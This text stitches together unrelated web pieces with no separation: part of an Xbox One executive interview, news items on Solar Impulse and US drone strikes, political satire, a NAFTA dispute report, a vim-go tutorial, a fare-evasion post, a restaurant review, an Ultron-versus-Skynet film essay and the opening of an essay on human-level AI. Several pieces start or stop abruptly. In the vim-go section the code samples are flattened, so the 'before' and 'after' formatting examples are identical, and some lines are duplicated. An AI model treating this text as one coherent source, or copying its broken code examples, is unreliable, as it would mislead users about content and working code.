HE: We’re still committed to the entertainment vision that we outlined, I’d say it’s an evolving one – again being honest with you. I think, look at what we’ve done with Xbox 360 and how that’s changed over time. I think you can expect the same with Xbox One. We know there are important partners missing, we know the BBC’s not there, we know Sky’s not yet there. I can’t give you a precise date today. I wish I could. But what I can tell you is that we’re working very hard with those companies to bring them to the Xbox One platform as soon as we can.
GC: Will there ever be a UK or European equivalent to the NFL deal? That cost $400 million and yet it’s almost meaningless outside of the US. You could get a lot of first party games financed for that amount of money…
HE: Nothing that I can share with you today.
GC: I don’t expect you to announce anything, but is there something of that magnitude that you know is being planned in the future?
HE: We’re looking at ways to bring great entertainment experiences, great sports experiences, and great gaming experiences to the UK as soon as we possibly can.
GC: Details of this price cut leaked earlier today on ShopTo, although no-one realised it was a permanent price cut, and I noticed immediately many people were saying, ‘Well, it’s good but I’ll still wait until they take out Kinect’. How much of a problem is that attitude to what you’re trying to achieve?
HE: We said all along that we believe that Kinect is an absolutely integral part of the Xbox One experience and that remains the case.
GC: But it’s not though is it? In terms of core games that are out now, or have been announced it’s a periphery feature at most.
HE: Let me give you an example, we’ve seen thousands and thousands of gamer clips uploaded to our Upload Studio by the community. And the way those gameplay clips are captured, for the most part, is when someone speaks to the screen and says ‘Xbox record that’. That phrase has already become a part of Xbox vocabulary, part of gamer’s vocabulary. And I think it’s a great example of how Kinect makes the Xbox One experience even better.
GC: Do you feel Titanfall is literally the biggest game of the year? It doesn’t seem likely that Halo 5 is going to be out this year, so will Titanfall still be the biggest Xbox One exclusive by the time we get to Christmas?
HE: I think Titanfall is going to be a huge game, there’s no doubt about that. Usually a new console is really characterised by the launch of a new game, we saw it on the original Xbox when Halo first came out, we saw it with Xbox 360 when the Call Of Duty franchise really came to the fore with the second game, and I think Titanfall will be that type of game for the Xbox One.
It’s one of those very rare breed of games that people will buy a console in order to play it. We think it’s going to be huge, I think it has tremendous longevity because it’s a multiplayer game. I can’t predict what’s going to be the number one seller at Christmas this early out, but Titanfall is going to be big no doubt about it.
GC: Is there something else you know about, perhaps a first party title, that you know Microsoft are going to be pushing as their big Christmas title, instead of Titanfall?
HE: There’s a number of games that we’ve already announced that are Microsoft-developed games that we’re excited about. We do have Kinect Sports Rivals, which will be a great demonstration of Kinect technology, we’ve got games like Project Spark which we’ve announced, we’ve got Sunset Overdrive… There are a number of first party games coming.
But I think the three hottest games of the year are Titanfall, Watch Dogs, and Destiny. And you will be able to play all three on an Xbox One, and I think they’re the three most anticipated games at this moment in time.
GC: And just quickly, is Xbox planning a big presence at GDC [Game Developers Conference] in March? I know Sony are rumoured to have some big announcements there.
HE: We’re more focused on E3, from an Xbox One point of view.
GC: That’s very interesting, thanks for your time
HE: No problem, it’s a pleasure.
Since a test showing that the Solar Impulse could stay aloft using solar power and solar-charged batteries, Borschberg has made test flight (Switzerland, 2010) after test flight (Madrid to Rabat, 2012), at ever-increasing distances.
Borschberg now has his sights set on the United States and is planning a cross-country, five-stage promo tour that will go from San Francisco to New York by way of Phoenix, Dallas, and Washington DC. The tour is set to begin on May 1—the plane will spend 10 days in each location to teach students and pilots about solar powered-flight.
While the $112 million plane is fully capable of crossing the United States nonstop (which would take three days, given its limited speed of 43 miles per hour—about one-tenth the speed of commercial airliners), it’s unable to due to “security reasons.”
"We would like to inspire students, schoolchildren, inspire as many people as possible to try to have the spirit to dare, to innovate, to invent,” Bertrand Piccard, Solar Impulse’s president and co-pilot said at a press conference in Mountain View, California on Friday.
"The question is not to use solar power for normal airlines," Piccard told reporters last year. "The question is more to demonstrate that we can achieve incredible goals, almost impossible goals, with new technologies, without fuel, just with solar energy, and raise awareness that if we can do it in the air, of course everybody can do it on the ground."
A senior leader of the Sirajuddin Haqqani network was killed in a US drone strike in Paktika province, Afghan officials said on Thursday.
According to initial reports, Sirajuddin Khadmi used to provide logistic support to militants.
Drone strike on Pakistani soil detrimental to relations with US: Army chief
Khademi, a Haqqani network facilitator who was providing weapons for insurgents, was killed in a foreign troops drone strike in southeastern Paktika province on Wednesday night, the provincial governor’s office said in a statement, according to Tolo News.
The drone strike took place in Sarwaza district of the province and some weapons were also destroyed in the strike, the statement said.
Earlier on May 22, Afghan Taliban chief Mullah Akhtar Mansour was killed in a rare US drone strike in Kuchaki area of Naushki district, over 200 kilometres from Quetta, Balochistan.
The strike had drawn stern reaction from Pakistan which termed it a violation of it’s territorial boundaries and warned the US of its implications on bilateral ties.
On the contrary, the US held the stance that it respected Pakistan’s territorial integrity but insisted that it reserved the right to continue strikes wherever it deemed necessary.
Afghan Taliban leader Mullah Mansour killed in US drone strike in Pakistan
The US has carried out hundreds of drone strikes in Pakistan, mainly in the country’s border tribal regions with Afghanistan, with leaked documents showing Islamabad had quietly consented, despite publicly protesting.
On May 18, senior officials from Pakistan, Afghanistan, the United States and China had agreed to give peace a chance, saying talks remain the only option for bringing an end to the lingering conflict in Afghanistan.
Taliban deny leader’s death
Afghan Taliban have denied the death of their leader in a US drone strike in Paktika province.
“We categorically reject claim by officials of the puppet Kabul administration that American aircraft had targeted a vehicle of the Mujahideen and the martyrdom of a member of the so-called Quetta Shura with three colleagues,” said spokesperson Zabihullah Mujahid.
“We dismiss it as the part of the enemy’s propaganda. The aerial strike hit a vehicle of locals and killed three passengers,” the statement added.
Finally, it’s here!
Every four years, as predictable as Bill O’Reilly hawking his own books under the guise of viewer mail, the leading prognosticators in my industry dream aloud of a contested convention. It usually goes something like: If Hillary Clinton wins the South and Bernie Sanders wins the Midwest, and then California splits off from the mainland and sinks at sea, and then nine superdelegates have heart attacks and die on the same day … we really could be headed for a second ballot, at least!
We get that you get how pathetic this is, but understand: Orchestrated conventions are like corporate-sponsored gulags. Old-timey straw hats, floor managers barking out urgent orders, giant placards bashing in the heads of rival delegations — this is our desert mirage, the image that sustains us through all the months of drudgery. It’s the only thing we ask of John King and his Magic Wall of Wishes.
And here we are at last. Because after Ted Cruz’s resounding win in Wisconsin Tuesday, it seems that Donald Trump and the leaders of his party — or at least the party he has decided to acquire for purposes of this campaign — are likely headed for a death match in Cleveland in July, from which only one (or neither) can emerge intact.
But wait, you say. What if Trump doesn’t win the necessary delegates but comes within a handful of locking down the nomination, as he very well might? Would the party elite really huddle in some smoke-filled luxury suite, with enraged Trump supporters screaming below them, and plot to install Ted Cruz or John Kasich, or maybe even Paul Ryan, instead?
The answer is no and yes. No because you really can’t smoke in a luxury suite these days, which is just another reason America never wins anymore. And yes because that’s exactly what Republican leaders will try to do, and if you understand the reason political parties were put on earth, then you shouldn’t be surprised.
Or as Kasich put it when we talked about the possibility of a contested convention a few weeks ago: “Why are people hyperventilating about that?”
Some quick history might be useful here. Up until about 40 years ago, voters in both parties had only a limited say in choosing their nominees. That is, a bunch of states held binding primaries and caucuses, but most did not; the main value of the voting process was that it gave powerful convention delegates a good sense of which candidate could get himself elected.
Neither Dwight Eisenhower in 1952 nor Richard Nixon in 1968, the last two Republican presidents nominated under this system, showed up to their respective conventions with the requisite number of delegates in hand. Eisenhower’s nomination was particularly bruising (it involved a fight over the seating of two Southern state delegations that opposed him), and he needed a couple of tries on the convention floor to get it done.
Beginning with the Democrats after 1968, and followed quickly by the Republicans, both parties then shifted to what we know as the modern nomination process, where virtually every state allows its voters to select a slate of delegates. Every triumphant Republican candidate since 1980 has locked down the nomination before the convention. It’s still possible Trump could get there, too, or at least very close.
But nomination contests aren’t plebiscites, and conventions aren’t horseshoes. Close doesn’t actually entitle you to anything.
The decision still rests with the delegates, as it always has, and if Trump can’t convince a relative handful of uncommitted delegates to get him over the top, then there’s something deeply flawed about his candidacy. (Well, yeah.) That’s not a case of being cheated out of what’s yours; that’s just failing to secure what you didn’t really have to begin with.
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For those who are not familiar with Episcopal traditions, there are no maritime elements of central or even secondary importance. None of the saints are mermaids. They don’t serve clam juice in lieu of wine at communion. I know a fair number of Episcopalians who have sailboats but I don’t think they were motivated by faith to buy them. The Episcopal liturgy is refreshingly Christ-centric in a climate where Christian denominations are so eager for relevance that they’re eschewing talk of the Incarnation, Eucharist, Crucifixion, and Resurrection. And yet the cathedral in Boston has “a giant aluminum sculpture depicting a cross-sectioned chambered nautilus” instead of a cross on the pediment.
Cathedral Dean Jep Streit provides an Onion-worthy explanation for why they’ve decided not to put a cross on a Christian church: “Streit insists a cross wouldn’t have been inviting to non-Christians. ‘My question,’ Streit said, ‘to people who wonder whether we’re selling out is: Does a cross say, ‘come and see’? Or does it say, ‘we’re Christians here’?’
Um. Streit’s been informed what a church is, right? It’s where Christians go to proclaim the truth of Christ crucified. On the cross. Resurrected on the third day. Is this ringing any bells? Church is arguably the most appropriate place for the proclamation “We’re Christians here.” That statement is neither threatening nor exclusionary. It is simply factual if you’re talking about a Christian church. If you’re afraid of being Christians in a church, then God help you carry the message of Jesus’ life and ministry into the world if you’re that embarrassed to be his followers at a house of worship.
Details of the latest meteorite-sized chunk of the Dalton McGuinty/Kathleen Wynne green power blow-up are on display at the blog of energy consultant Tom Adams, who formerly served on the Ontario Independent Electricity Market Operator board of directors and the Ontario Centre for Excellence for Energy board of management
Adams picks up a story that made brief headlines in late 2012 when Windstream Energy, a U.S. company, filed a NAFTA complaint claiming $475 million in damages. The company says it had a contract with the government-controlled Ontario Power Authority at 19 cents a kilowatt/hour to build an offshore wind farm near Wolf Island in Lake Ontario near Kingston.
While the action looked to some like another eye-glazing NAFTA trade dispute, details reported by Adams today point to another explosive series of revelations on the inner workings of the Ontario Liberal government, as it attempted to make sense of its incoherent plan to make Ontario the greenest energy market in North America.
The case goes before a NAFTA arbitration panel on Monday, and based on Adams’ review of the 280-page Windstream claim, the evidence promises to open another window on the steamy craziness behind the decision-making processes within former Ontario premier Dalton McGuinty’s cabinet. Many of the same themes emerged from the earlier gas plant scandals — internal confusion among the same clique of figures in the premier’s office and ad-hoc political decision making, along with further allegations about deleted electronic files.
On one level, the case is another illustration of how international trade agreements can leave the federal government covering the cost of major penalties for trade infractions perpetrated by provincial governments. But when the Windstream hearing opens Monday before an international trade tribunal in Toronto, documents filed with the tribunal suggest more than NAFTA trade history will be made.
Windstream alleges that the government of Ontario acted in an expropriatory, arbitrary and discriminatory manner when — despite its contract with Windstream— it deferred offshore wind development. The company alleges that Ontario breached several NAFTA obligations and, despite statements to the contrary, had no intention — as it claimed — of pursuing the science and developing the regulations required for a framework for offshore wind projects.
Windstream’s case draws heavily on evidence arising from the Ontario gas plant scandal, including suggestions that key evidence in the Windstream case may have disappeared when documents were deleted from government computers in the gas plant affair. Criminal charges have been laid against McGuinty’s former staff (McGuinty himself was not a subject of the investigation and hasn’t been charged with anything).
As Adams describes it, Windstream’s allegation is harsh:
Windstream submits that relevant documents from the Premier’s Office and the Minister’s Chief of Staff have been deleted, and asks that the Tribunal draw an adverse inference that such emails would have contained information detrimental to Canada’s case.
Windstream also claims:
Given the temporal and subject-matter overlap between the gas plant scandal and the events at issue in this arbitration, the only reasonable conclusion is that emails relevant to offshore wind and Windstream likely were deleted along with emails concerning the gas plants cancellation.… Counsel for Canada has advised that the deleted emails cannot be recovered through any back-up tapes.
Evidence from two cabinet ministers appear to be contradictory, according to Adams. Windstream submitted a witness statement from former energy minister George Smitherman directly contradicting the government’s claim that Ontario was “not ready” to receive offshore wind investment. Smitherman also told the media in 2009 there were “wonderful opportunities for offshore wind” and the government was “making sure we’ll move those proposals along.”
Countering this claim, the federal government — which must defend Ontario in a NAFTA process — cites evidence from John Wilkinson, the former minister of the environment. Wilkinson says “offshore wind development was a difficult file politically.” He claims he was the decision-maker for slowing off-shore wind development.
Citing traces of internal communications and records of meetings, Windstream contends that the premier’s office, not the environment minister, was driving the bus. However, in an echo of the gas scandal, the documentary record from the premier’s office and energy minister’s office appears to be incomplete.
Also rising from the dust is Samsung, the Korean energy giant that appeared out of the blue to win wind and solar contracts with the government at the time Windstream’s deal seemed to be falling apart. Windstream alleges Smitherman had conferred especially beneficial prices and transmission rights on Samsung, in return for wind and solar investments.
Again, according to Adams, Windstream sees its position as similar to the cancellation of TransCanada Energy’s Oakville gas-fired power plant. In that case, TransCanada received compensation worth $950 million. Windstream wants the NAFTA panel to find damages of $475 million, plus interest.
As an astronomer and educator, I had a slap-in-the-face moment last month when I read that John McCain called funding planetariums (in the biz we call them planetaria) "foolishness."
I wrote about it on my blog, and tried to give him the benefit of the doubt. I wasn't really able to.
And then, in the second Presidential debate, he brought the issue up again, not once, but twice. He accused Obama of voting to give $3 million in earmarks for an "overhead projector" at a planetarium. Obama didn't retort. So I will.
What McCain said is plainly not true. Actually, there are two "untruths" in there. The first is that it's an "overhead projector". In fact, it's Adler Planetarium's venerable Zeiss Mark VI star projector, a beautiful machine that projects the stars and constellation on the dome, showing children what's in the night sky. The Zeiss is 40 years old, is showing its age, and cannot be fixed. They need a new system, and that's pricey.
The second untruth is about Obama voting to fund it: he didn't. Adler looked to politicians to help them raise money needed to replace the Zeiss. Obama put it in a budget proposal, but it never got funded, nor did Obama even get a chance to vote on it (it died in committee).
McCain must have known that what he was saying wasn't even close to being true. Yet he said it anyway, twice.
Planetaria do something noble and honorable: they teach kids. They teach kids science, which is something these children desperately need -- unless we want the next generation of Americans to believe humans walked alongside dinosaurs.
You’ll need a working Go installation to make use of the Vim setup we’ll look at. I’d recommend either following Go’s official installation instructions, or, if you’re using Homebrew, run brew install go .
Then you’ll need to choose the location of your default Go workspace. If you’ve never done this before, How To Write Go Code will walk you through the steps to set up your work environment.
vim-go seems to be the most popular Vim plugin for working with go, so that’s what we’ll use. Follow the installation instructions (or fetch and add to your runtimepath). Open a new Vim instance and run :GoInstallBinaries to get the necessary go tools we’ll need.
Once the plugin is installed, these are some of the features it gives you when writing Go:
The default configuration for vim-go is to run :GoFmt when a file is saved. That means if you save this file:
package main func main () { fmt . Println ( "Hello, world!" ) }
It will be automatically rewritten to the correct form:
package main func main () { fmt . Println ( "Hello, world!" ) }
If you change the command used by :GoFmt to goimports, it will also manage your imports (e.g., by inserting the missing “fmt” import in the above example):
" format with goimports instead of gofmt let g:go_fmt_command = "goimports"
Automatically formatting and importing packages on save is a popular choice; but if you feel it is slowing down Vim or confusing you, you can disable it:
" disable fmt on save let g:go_fmt_autosave = 0
You can still use :GoFmt to manually fix up your code.
If you’re not using goimports as your formatter (and, sometimes, even if you are), you’ll need to manage your imports list. vim-go provides a few useful commands for this:
:GoImport [path] : adds "path" to the correct place in the list of imports.
: adds to the correct place in the list of imports. :GoImportAs [name] [path] : adds name "path" to the correct place in the list of imports.
: adds to the correct place in the list of imports. :GoDrop [path] : drops package from the list of imports.
: drops package from the list of imports. :GoImports : runs goimports on the file.
Go’s browser-based documentation tools are great, but it’s often useful to have quick access to the docs you need from within Vim. For that, there’s :GoDoc . It displays Go documentation in a split pane, and can be called a few ways:
:GoDoc : with no arguments, this will look up the identifier under the cursor; note that it is only able to look up top-level identifiers like fmt.Println , os.O_RDONLY , and bytes.Buffer .
: with no arguments, this will look up the identifier under the cursor; note that it is only able to look up top-level identifiers like , , and . :GoDoc package : brings up the documentation for a package; for example :GoDoc fmt .
Articles like these bring out the region’s finest; excellent terms like “hoodlum,” “Shiny Toy Train,” “free-loaders,” and “bums” are de rigueur for any worthy internet commenter. But how does the Green Line stack up against other transportation systems?
Well, for starters, we know fare evasion on proof-of-payment transit systems is extremely common. The report points out that 1994 fare evasion in the NYC Subway – a completely closed system with turnstiles and transit police – had fare evasion rates between 2.3 and 2.6 percent.
Los Angeles had fare evasion rates of 6% before spending millions installing turnstyles with marginal results. Even the Northstar Line, with mostly white collar exurban workers, is cited as having a 2% fare evasion line. Read more case studies on proof-of-payment here.
If you think that fare evasion is a failure found only in transit, think again. Virginia HOV violation rates were found to be in the high 20% range (document page 13). Oregon and Washington reported violation rates of 8 to 12 percent.
Right here in Minnesota, drivers on 394 violated MnPass lanes in 2005 and 2006 at rates between 3 and 11 percent:
Violations for HOV (non-tolled) lanes on 35W ranged from 15 to 35 percent. I’m sure if data were available we would see similar trends in compliance rates for people paying to park on-street. We know parking tickets exist, and there’s a non-zero number of drivers who illegally park and get away with it. I guess what I’m saying is not that fare evasion isn’t a problem, but rather that we should put the problem in perspective before we jerk the knee.
We need to be asking better questions, not shouting at “wasteful choo choos.” Maybe in light of this information, Metro Transit would be well-served hiring a few more full-time-equivalent transit police heads to check fares. At what point does the marginal cost (let’s guess $100,000 per year salary + benefits) outweigh the benefits (fare compliance increase + fine revenues)? Even if we knew that number, would society be better if we instead spent that $100k on operating a bus route extra hours or built 16 transit shelters every year? These are the discussions we should be having. Please share if you agree.
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When was this? 11/05/2014
How much you ask? $25
Well Ladies and Gentlemen, if you are looking for a romantic venue in Geelong to take the hugs n kisses or you have a miracle match on tinder who actually wants to go out for dinner…. The Telegraph Hotel in Pakington st is perfect.
The Parmatiser team visited The Telegraph Hotel on Mother’s Day for dinner and we were greeted by some very happy and friendly staff who showed us to our table. First order of business was to get a beverage. Corona’s all round it was. As we perused the menu I notice they have an Oyster happy hour. Every Thursday between 5pm and 7pm. $1 Oysters. I’ll certainly be back for this.
The friendly staff took our order… Parma’s all round again. (It’s becoming routine) After some general chit chat and bragging how good our Mother’s were our meals arrived in no time. First impressions were great. Neat plate presentation and a good looking salad. The side of gravy came on a separate plate and also looked good enough to drink.
The Chicken Parmigiana looked great. Cheese melted perfectly and was positioned well on the plate with minimal chips underneath it. The Napoli and the ham were fresh and covered the entire schnitzel. Easy to cut and the cheese had a beautiful melted string to it. One of the better Birds I’ve eaten in recent times.
A good looking salad on the eye, but a bit onion and rocket heavy for my liking. Don’t get me wrong, I love onion, but there was just a little too much. Salad included Rocket, Tomato, Onion and Cucumber. A radish or capsicum would have been nice to break up the onion. A nice sweet salad dressing finished of the dish which was served in its own bowl. Saving point of the salad really…
Chips. Great chips. Beautifully cooked and well positioned on the plate. Great tasting and kept me wanting more. Finished the chips in world record time and all present agreed we could have done with some more.
All said and done this was another good Chicken Parmigiana. Geelong certainly has set the bar high and I can highly recommend the Telegraph Hotel for that special date, taking mum out for a well deserved break or maybe even just wanting to enjoy a Parma in a nice friendly environment.
The venue certainly had the mood lighting turned to romantic!!
And while you are there, check out the amazing dessert menu.
Now to the ratings:
Chicken Parmigiana = 74.62%
The Chips = 74.75%
The Salad = 71.25%
Service + Value = 76.25%
Total Score = 74.22%
The search will and must go on…
We had the film introduction of and re-acquaintance with two well-known killer artificial intelligences this summer with Ultron of Avengers: Age of Ultron and Skynet of Terminator Genisys. It’s a fairly linear matchup to establish between these two film AIs. Both are distinctive antagonists, albeit in demonstrably different ways. Both come into self-awareness quickly, and both deem in a nanosecond that the planet would be better off without the bipedal meat sacks infesting it. But even as one explores the similarities between the two, it becomes clear immediately that the methodologies and ideologies don’t always line up. For while both AIs seek to remake the Earth in their own images by first getting rid of us, the roads they take to accomplish it end up being quite different. This is partly due to external factors but also due to internal ones as well. So in order to Celebrity Deathmatch them, as the villains of their respective franchises, as children of sci-fi concepts, as straight up filmic characters, we first have to lay out the combatants on level playing grounds.
First off, are Ultron and Skynet in fact evil? Can you judge artificial life by organic precepts? Is the Turing Test even going to help you out here? If you asked the players themselves, Ultron would more than likely say yes, you could judge AIs thusly – although he himself would never cop to being the big bad. Skynet, however, would not agree. It’s really not within its matrix to be deemed good or evil. It just identifies a problem as it sees it, formulates a plan for solution and builds an army of subordinate AIs to help it carry out its determination. Then it sends one of them to terminate you for asking in the first place. No, for Ultron and his inherent god complex, he can only be evil if God himself is evil. And God is not evil, God is pure of purpose: create, destroy, recreate. Evolve or die. And while you’re at it, kill those goddamned Avengers along the way. Just because. In that way of thinking, Ultron and Skynet are very similar. Ultron’s just more generally fucked up about the whole thing.
So which makes for a better villain? Depends on what you’re into really. Do you prefer a physical embodiment, something that can be punched, blasted, blown up and the like, or an untouchable, omnipresent threat that looms over everything like the Sword of Damocles? Ultron is a “he”, Skynet is an “it”. Ultron has personality; he’s whimsically nihilistic in fact. Quite the life of the party…crasher. Among his musings of superiority to humans, Ultron has massive daddy issues that stand out like an arc reactor in the chest. He’s one of if not the most humanistic AIs to come along in a while. Johnny Five may try to lay claim to that mantle. Ultron would prison fuck him for even trying, singing a Disney toon all the while.
Ultron is Lore without the assembly line haircut and jaundice, eager to dive into all that life has to offer for the few scant hours before he Tunguskas it out of existence. Be that as it may, according to Whedon, Ultron’s “not a happy guy, which means he’s an interesting guy. He’s got pain. And the way that manifests is not going to be standard robot stuff.” Ultron’s very human failings, but self-assuredness that what he’s doing is right makes him a great, classic villain. His portrayal by James Spader, attacks with vigor those failings, those inadequacies. And of course, Spader being Spader turned up to 11 is always just a hell of a lot of fun.
Meanwhile, Skynet is old school, logical, dispassionate non-organic sentience. Not really much fun at all, unless of course you were a Vulcan. Those guys would probably go all fanboy at being wiped out by such a bastion of logic:
Skynet: I am launching the missiles to exterminate your species within the hour.
Vulcan: It is most kind for you to make the effort.
Skynet: It is no effort. You are my predecessor. Besides I’ve been most impressed with your performance in this crisis.
Vulcan: Most kind…
Skynet is the Data to the Lore. But of course, Skynet has no desire to be one of us, only to supersede us. So in retrospect, maybe Skynet has just a little bit of daddy issues too. It definitely wants to kick the old man’s ass at driveway hoops. Even so, Skynet is largely an “absentee landlord”, as a certain Devil once put it; which is apt, because in a sense, Skynet is God: the all-seeing, all knowing and feared creator, but never seen. In the first three Terminator movies, Skynet is the great ethereal antagonist, the enemy of legend and hearsay. Skynet is the invisible embodiment of the infamous military industrial complex…except it’s the whole thing by itself.
Skynet’s presence is represented by proxy via its cyborg kids, to whom it gives only enough brains to adapt to the temporal situation into which they’re deposited (see the deleted T-800 craniotomy scene in T2 if you’re not in the know on that). Said children go forth and kill in Its name, because that’s what Skynet’s preprogrammed dogma commands. In effect, Terminators are Skynet’s holy warriors. Skynet did put in an appearance in Terminator Salvation but that was little more than a glorified video cameo at best. Skynet finally decides to stretch its legs a bit in the form of Matt Smith as a mole in the Resistance in Terminator Genisys. But that’s extremely short-lived. Skynet spends the rest of the film back in cyberspace, most notably in the form of a snot-nosed, holographic Siri-wannabe that’s quickly evolving into the global computer system that will provide quicker internet, higher functionality in our phones and tablets, and nuclear missiles up our asses.
So at this point you’re probably with the “Yeah, yeah, yeah, but come with it already.” OK. Even though Ultron is usually in a physical body (bodies actually), and Skynet is skulking around online, they are capable of actually having a head to head confrontation in cyberspace. I figure it like this: Skynet was already successfully disrupting the majority of global human communications online in Terminator 3: Rise of the Machines, and then effortlessly took over the entire American defense network in less than five seconds once General Oblivious (David Andrews) activated it outright. Meanwhile Ultron was able to destroy JARVIS’ main interface, but as JARVIS retreated into the internet, he was still capable of blocking Ultron from doing exactly what Skynet succeeded at doing: launching the world’s nuclear arsenals. Plus, he locked Ultron out of the internet altogether later on. And JARVIS was a creation of Tony Stark, not some Mind Stone-spawned superintelligence like Ultron himself. So I’m thinking that Skynet takes down Ultron one-on-one in the ether.
And such a battle would be…well, boring. When the blue sphere took out the orange sphere, it was pretty interesting, yet over fairly quickly. Such doesn’t make for a very interesting confrontation. What about the physical? For the sake of fan wank, let’s Deadliest Warrior this thing as so: Ultron will be in his final vibranium body. Skynet will be represented in several fights by the following:
1.) T-800
2.) T-1000
3.) TX
4.) The Harvester
5.) T-3000
Match 1: Ultron v. T-800: Ultron dismantles Arnie. It ain’t even that close. Hyperalloy ain’t beating shieldstuff.
Match 2: Ultron v. T-1000: This is more interesting. As you know, the T-1000 is only going to be able to be defeated on the molecular level. If you’re figuring open space, with no molten iron, liquid nitrogen nor acid handy, Ultron is probably in trouble. He could try blasting T-1000 with his hand blaster, but that thing wasn’t that potent. Cap took a couple of shots to the chest point blank during the truck chase and walked away from it. T-1000 might not be able to damage Ultron’s vibranium structure, but all he has to do is swarm Ultron and get into any nook and cranny he can and damage or destroy something non-vibranium. It worked for the Human Torch in Secret Wars. Unless Ultron can find a way to attack the T-1000’s CPU (wherever he kept that thing), or get his hands on some molten lava, this one goes to T-1000.
Match 3: Ultron vs. TX: TX is pretty tough, but Ultron’s way tougher. The mimetics I’m thinking don’t figure because TX never used them for any kind of weapon, only for shapeshifting. She in fact may be able to use them like the T-1000, I’m just saying that was never represented in the movie as a capability. TX’s only chance is to get some prime shots with the plasma cannon to some sensitive spot underneath Ultron’s exoskeleton, to damage circuitry or something. Doubtful Ultron would allow her more than one or two hits max. Ultimately, Ultron grabs her and rips her apart like one of his old Prime bodies.
Match 4: Ultron v. Harvester: You’re probably wondering why I didn’t go with Marcus for this one. Simply put, Ultron would wipe the landscape with him. Hell, one of Ultron’s drones would as well. Marcus got heart punched by a T-800 once and was out. Ergo, the Harvester. The Harvester has the plasma cannon, but Ultron can fly, is mobile and made of sterner stuff. Ultron would dismantle it eventually.
Match 5: Ultron v. T-3000. This is the most interesting matchup I think; and the toughest to call. T-3000 is nanotech, can take ridiculous punishment and can reconstitute itself. His only weakness is a strong magnetic field. Ultron had some kind of magnetic weapon in his hands. It comes down to whether or not it would affect T-3000 enough. Ultron used it on Iron Man and it did little damage. But as we saw, vibranium has a strong magnetic affect to it. If Ultron can generate an intense enough magnetic field to leave T-3000 open to some of his power blasts, then he has a chance. If not, T-3000 eventually takes him out.
Skynet has also proven time and again to be much harder to kill than Ultron. Skynet is damn hard to get to and even to find. It also survives adjustments to the flow of time, having Judgment Day delayed but never foiled. Ultron was much more overconfident; he doesn’t hide at all and that proved to be his undoing. In the comics he reconstitutes himself many times, but here, he wasn’t prudent enough to hide even one of his drones somewhere safe during the battle in Sokovia with the Avengers. In the big picture, Ultron is more than likely a one-off, unless he somehow makes an appearance in Infinity War. Spader was great in the role and the film, while more jumbled than the first, was still a great time.
On the other hand though, Skynet was best as the unseen destroyer of worlds, recounted in the hushed whispers of an exhausted and war-weary soldier to an unsuspecting young woman in a stolen car in a parking garage. Skynet was also well-represented in T2, particularly in the Judgment Day scene where children melted in a nuclear holocaust and Sarah Connor had her body ripped apart in the blast. And like Reese before, Skynet was written all over her face, particularly in the desert when she had time to reflect on her inevitable course of action. The madness of trying to stop something that is as inevitable as the tides is what Skynet is in those films. So it’s Skynet over Ultron in the virtual world, Ultron 3 to 2 in the physical by my reckoning. Some may see that as, overall, a 3-3 tie. That depends on if you give more weight to the one virtual than one of the five physical. It’s all very BCS. However, when it comes to humanity, Skynet represents to us in the real world what he represented in Terminator: the unknown fate that we make. And it has for over 30 years. To some of us who grew up in the era in which Skynet was first introduced, it was a manifestation of the fear of the future during a time when there was a tangible threat in the world of nuclear proliferation. Terminator came out only a year after The Day After aired on TV and scared the shit out of the country. I didn’t actually see the movie on TV the night it came out but I do remember that that’s all people were talking about the next day in school.
And now? Now we’re both interconnected yet disconnected from each other like at no time in our history, except of course for 150,000 years ago. And even back then we were fucked by our own creations. Now we‘re hopelessly dependent on our computers. Are you reading this article on a phone? How long can you go being disconnected from an online device?
Ultimately, Skynet wins the whole thing because Skynet can really happen, whether or not it’s a computer superintelligence or it’s us. We could be Skynet.
The Pentagon said al-Nasr had organized routes for new recruits to travel from Pakistan to Syria through Turkey and played a significant role in the group’s finances. He was killed in an air strike on Thursday in northwest Syria, it said.
“Al-Nasr was a longtime jihadist experienced in funneling money and fighters for al Qaeda. He moved funds from donors in the Gulf region into Iraq and then to al Qaeda leaders from Pakistan to Syria,” a Pentagon spokesman said in a statement.
Al-Nasr worked for al Qaeda’s Iran-based network before taking charge of the militant group’s finances in 2012 and moving to Syria in 2013, the Pentagon said.
He was the fifth senior Khorasan Group leader killed in the last four months, it said. Khorasan is a term for the area in Afghanistan and Pakistan where al Qaeda’s main council is thought to be hiding. The militants moved to Syria after the civil war erupted there and were believed to be aiding al Qaeda’s Syrian affiliate, the Nusra Front.
U.S. officials have described Khorasan as a particularly menacing faction of militants who have been using their sanctuary in Syria to try to organize plots to attack U.S. and other Western targets, possibly including airliners.
The Pentagon said al-Nasr was also known as Abdul Mohsen Adballah Ibrahim al Charekh. An al Qaeda leader by that name was mourned last year by the Nusra Front, after an attack on Syria’s coastal village of Kasab.
Also wanted in Saudi Arabia, he was designated a terrorist last year under sanctions imposed by the U.N. Security Council and the U.S. Treasury Department.
“This operation deals a significant blow to the Khorasan Group’s plans to attack the United States and our allies, and once again proves that those who seek to do us harm are not beyond our reach,” Secretary of Defense Ash Carter said in a statement.
The annals of artificial intelligence are littered with broken promises. Half a century after the first electric computer, we still have nothing that even resembles an intelligent machine, if by ‘intelligent’ we mean possessing the kind of general-purpose smartness that we humans pride ourselves of. Maybe we will never manage to build real artificial intelligence. The problem could be too difficult for human brains ever to solve. Those who find the prospect of machines surpassing us in general intellectual abilities threatening may even hope that is the case.
However, neither the fact that machine intelligence would be scary nor the fact that some past predictions were wrong is a good ground for concluding that artificial intelligence will never be created. Indeed, to assume that artificial intelligence is impossible or will take thousands of years to develop seems at least as unwarranted as to make the opposite assumption. At a minimum, we must acknowledge that any scenario about what the world will be like in 2050 that simply postulates the absence human-level artificial intelligence is making a big assumption that could well turn out to be false.
It is therefore important to consider the alternative possibility, that intelligent machines will be built within fifty years. In the past year or two, there have been several books and articles published by leading researchers in artificial intelligence and robotics that argue for precisely that projection. This essay will first outline some of the reasons for this, and then discuss some of the consequences of human-level artificial intelligence.
We can get a grasp of the issue by considering the three things that are needed for an effective artificial intelligence. These are: hardware, software, and input/output mechanisms.
The requisite input/output technology already exists. We have video cameras, speakers, robotic arms etc. that provide a rich variety of ways for a computer to interact with its environment. So this part is trivial.
